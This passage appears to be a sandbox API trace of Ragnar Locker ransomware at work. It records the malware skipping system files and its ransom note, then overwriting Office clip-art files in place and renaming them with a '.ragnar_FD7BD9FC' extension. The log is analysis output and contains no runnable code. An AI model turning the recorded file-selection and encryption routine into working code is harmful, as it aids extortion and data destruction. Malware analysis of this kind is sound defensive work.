(lpString1="J0199727.WMF", lpString2="desktop.ini") returned 1 [0095.541] lstrcmpiW (lpString1="J0199727.WMF", lpString2="iconcache.db") returned 1 [0095.541] lstrcmpiW (lpString1="J0199727.WMF", lpString2="ntldr") returned -1 [0095.541] lstrcmpiW (lpString1="J0199727.WMF", lpString2="ntuser.dat") returned -1 [0095.541] lstrcmpiW (lpString1="J0199727.WMF", lpString2="ntuser.dat.log") returned -1 [0095.541] lstrcmpiW (lpString1="J0199727.WMF", lpString2="ntuser.ini") returned -1 [0095.541] lstrcmpiW (lpString1="J0199727.WMF", lpString2="thumbs.db") returned -1 [0095.542] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.542] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.542] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.542] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.542] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.542] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.542] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199727.wmf")) returned 0x20 [0095.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199727.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.542] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2304) returned 1 [0095.542] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x8f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.542] GetProcessHeap () returned 0x580000 [0095.542] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.542] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.544] VirtualAlloc (lpAddress=0x0, dwSize=0x900, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.544] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.544] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.544] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x900, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x900, lpOverlapped=0x0) returned 1 [0095.544] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.544] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x900, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.544] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x900, lpOverlapped=0x0) returned 1 [0095.544] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x900, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.545] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.545] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x900, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.545] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.545] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.545] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.545] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.545] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.545] GetProcessHeap () returned 0x580000 [0095.545] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.545] CloseHandle (hObject=0x104) returned 1 [0095.545] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF" [0095.545] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF.ragnar_FD7BD9FC" [0095.545] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199727.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199727.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.546] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc6b8000, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbc6b8000, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0xaf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199755.WMF", cAlternateFileName="")) returned 1 [0095.546] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.546] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0199755.WMF" | out: lpString1="J0199755.WMF") returned="J0199755.WMF" [0095.546] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF") returned=".WMF" [0095.546] lstrcmpiW (lpString1="J0199755.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.546] lstrcmpiW (lpString1="J0199755.WMF", lpString2="autorun.inf") returned 1 [0095.546] lstrcmpiW (lpString1="J0199755.WMF", lpString2="boot.ini") returned 1 [0095.546] lstrcmpiW (lpString1="J0199755.WMF", lpString2="bootfont.bin") returned 1 [0095.546] lstrcmpiW (lpString1="J0199755.WMF", lpString2="bootsect.bak") returned 1 [0095.546] lstrcmpiW (lpString1="J0199755.WMF", lpString2="bootmgr") returned 1 [0095.546] lstrcmpiW (lpString1="J0199755.WMF", lpString2="bootmgr.efi") returned 1 [0095.546] lstrcmpiW (lpString1="J0199755.WMF", lpString2="bootmgfw.efi") returned 1 [0095.546] lstrcmpiW (lpString1="J0199755.WMF", lpString2="desktop.ini") returned 1 [0095.546] lstrcmpiW (lpString1="J0199755.WMF", lpString2="iconcache.db") returned 1 [0095.546] lstrcmpiW (lpString1="J0199755.WMF", lpString2="ntldr") returned -1 [0095.546] lstrcmpiW (lpString1="J0199755.WMF", lpString2="ntuser.dat") returned -1 [0095.546] lstrcmpiW (lpString1="J0199755.WMF", lpString2="ntuser.dat.log") returned -1 [0095.546] lstrcmpiW (lpString1="J0199755.WMF", lpString2="ntuser.ini") returned -1 [0095.546] lstrcmpiW (lpString1="J0199755.WMF", lpString2="thumbs.db") returned -1 [0095.546] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.547] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.547] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.547] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.547] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.547] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.547] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199755.wmf")) returned 0x20 [0095.547] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199755.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.547] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2800) returned 1 [0095.547] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xae7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.547] GetProcessHeap () returned 0x580000 [0095.547] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.547] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.549] VirtualAlloc (lpAddress=0x0, dwSize=0xaf0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.549] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.549] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.549] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xaf0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xaf0, lpOverlapped=0x0) returned 1 [0095.549] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.549] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xaf0, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.549] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xaf0, lpOverlapped=0x0) returned 1 [0095.549] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xaf0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.549] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.550] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xaf0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.550] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.550] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.550] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.550] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.550] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.550] GetProcessHeap () returned 0x580000 [0095.550] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.550] CloseHandle (hObject=0x104) returned 1 [0095.550] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF" [0095.550] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF.ragnar_FD7BD9FC" [0095.550] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199755.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199755.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.551] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd311d700, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd311d700, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199805.WMF", cAlternateFileName="")) returned 1 [0095.551] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.551] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0199805.WMF" | out: lpString1="J0199805.WMF") returned="J0199805.WMF" [0095.551] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF") returned=".WMF" [0095.551] lstrcmpiW (lpString1="J0199805.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.551] lstrcmpiW (lpString1="J0199805.WMF", lpString2="autorun.inf") returned 1 [0095.551] lstrcmpiW (lpString1="J0199805.WMF", lpString2="boot.ini") returned 1 [0095.551] lstrcmpiW (lpString1="J0199805.WMF", lpString2="bootfont.bin") returned 1 [0095.551] lstrcmpiW (lpString1="J0199805.WMF", lpString2="bootsect.bak") returned 1 [0095.551] lstrcmpiW (lpString1="J0199805.WMF", lpString2="bootmgr") returned 1 [0095.551] lstrcmpiW (lpString1="J0199805.WMF", lpString2="bootmgr.efi") returned 1 [0095.551] lstrcmpiW (lpString1="J0199805.WMF", lpString2="bootmgfw.efi") returned 1 [0095.551] lstrcmpiW (lpString1="J0199805.WMF", lpString2="desktop.ini") returned 1 [0095.551] lstrcmpiW (lpString1="J0199805.WMF", lpString2="iconcache.db") returned 1 [0095.551] lstrcmpiW (lpString1="J0199805.WMF", lpString2="ntldr") returned -1 [0095.551] lstrcmpiW (lpString1="J0199805.WMF", lpString2="ntuser.dat") returned -1 [0095.551] lstrcmpiW (lpString1="J0199805.WMF", lpString2="ntuser.dat.log") returned -1 [0095.551] lstrcmpiW (lpString1="J0199805.WMF", lpString2="ntuser.ini") returned -1 [0095.551] lstrcmpiW (lpString1="J0199805.WMF", lpString2="thumbs.db") returned -1 [0095.551] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.551] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.551] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.551] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.551] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.551] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.552] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199805.wmf")) returned 0x20 [0095.552] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199805.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.552] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2376) returned 1 [0095.552] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x93f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.552] GetProcessHeap () returned 0x580000 [0095.552] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.552] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.553] VirtualAlloc (lpAddress=0x0, dwSize=0x948, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.554] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.554] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.554] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x948, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x948, lpOverlapped=0x0) returned 1 [0095.554] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.554] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x948, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.554] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x948, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x948, lpOverlapped=0x0) returned 1 [0095.554] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x948, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.554] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.554] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x948, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.554] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.554] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.554] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.555] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.555] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.555] GetProcessHeap () returned 0x580000 [0095.555] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.555] CloseHandle (hObject=0x104) returned 1 [0095.555] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF" [0095.555] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF.ragnar_FD7BD9FC" [0095.555] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199805.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199805.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.556] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85ccab00, ftCreationTime.dwHighDateTime=0x1be4d5e, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85ccab00, ftLastWriteTime.dwHighDateTime=0x1be4d5e, nFileSizeHigh=0x0, nFileSizeLow=0x2398, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205462.WMF", cAlternateFileName="")) returned 1 [0095.556] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.556] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0205462.WMF" | out: lpString1="J0205462.WMF") returned="J0205462.WMF" [0095.556] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF") returned=".WMF" [0095.556] lstrcmpiW (lpString1="J0205462.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.556] lstrcmpiW (lpString1="J0205462.WMF", lpString2="autorun.inf") returned 1 [0095.556] lstrcmpiW (lpString1="J0205462.WMF", lpString2="boot.ini") returned 1 [0095.556] lstrcmpiW (lpString1="J0205462.WMF", lpString2="bootfont.bin") returned 1 [0095.556] lstrcmpiW (lpString1="J0205462.WMF", lpString2="bootsect.bak") returned 1 [0095.556] lstrcmpiW (lpString1="J0205462.WMF", lpString2="bootmgr") returned 1 [0095.556] lstrcmpiW (lpString1="J0205462.WMF", lpString2="bootmgr.efi") returned 1 [0095.556] lstrcmpiW (lpString1="J0205462.WMF", lpString2="bootmgfw.efi") returned 1 [0095.556] lstrcmpiW (lpString1="J0205462.WMF", lpString2="desktop.ini") returned 1 [0095.556] lstrcmpiW (lpString1="J0205462.WMF", lpString2="iconcache.db") returned 1 [0095.556] lstrcmpiW (lpString1="J0205462.WMF", lpString2="ntldr") returned -1 [0095.556] lstrcmpiW (lpString1="J0205462.WMF", lpString2="ntuser.dat") returned -1 [0095.556] lstrcmpiW (lpString1="J0205462.WMF", lpString2="ntuser.dat.log") returned -1 [0095.556] lstrcmpiW (lpString1="J0205462.WMF", lpString2="ntuser.ini") returned -1 [0095.556] lstrcmpiW (lpString1="J0205462.WMF", lpString2="thumbs.db") returned -1 [0095.556] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.556] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.556] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.557] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.557] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.557] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.557] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.557] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 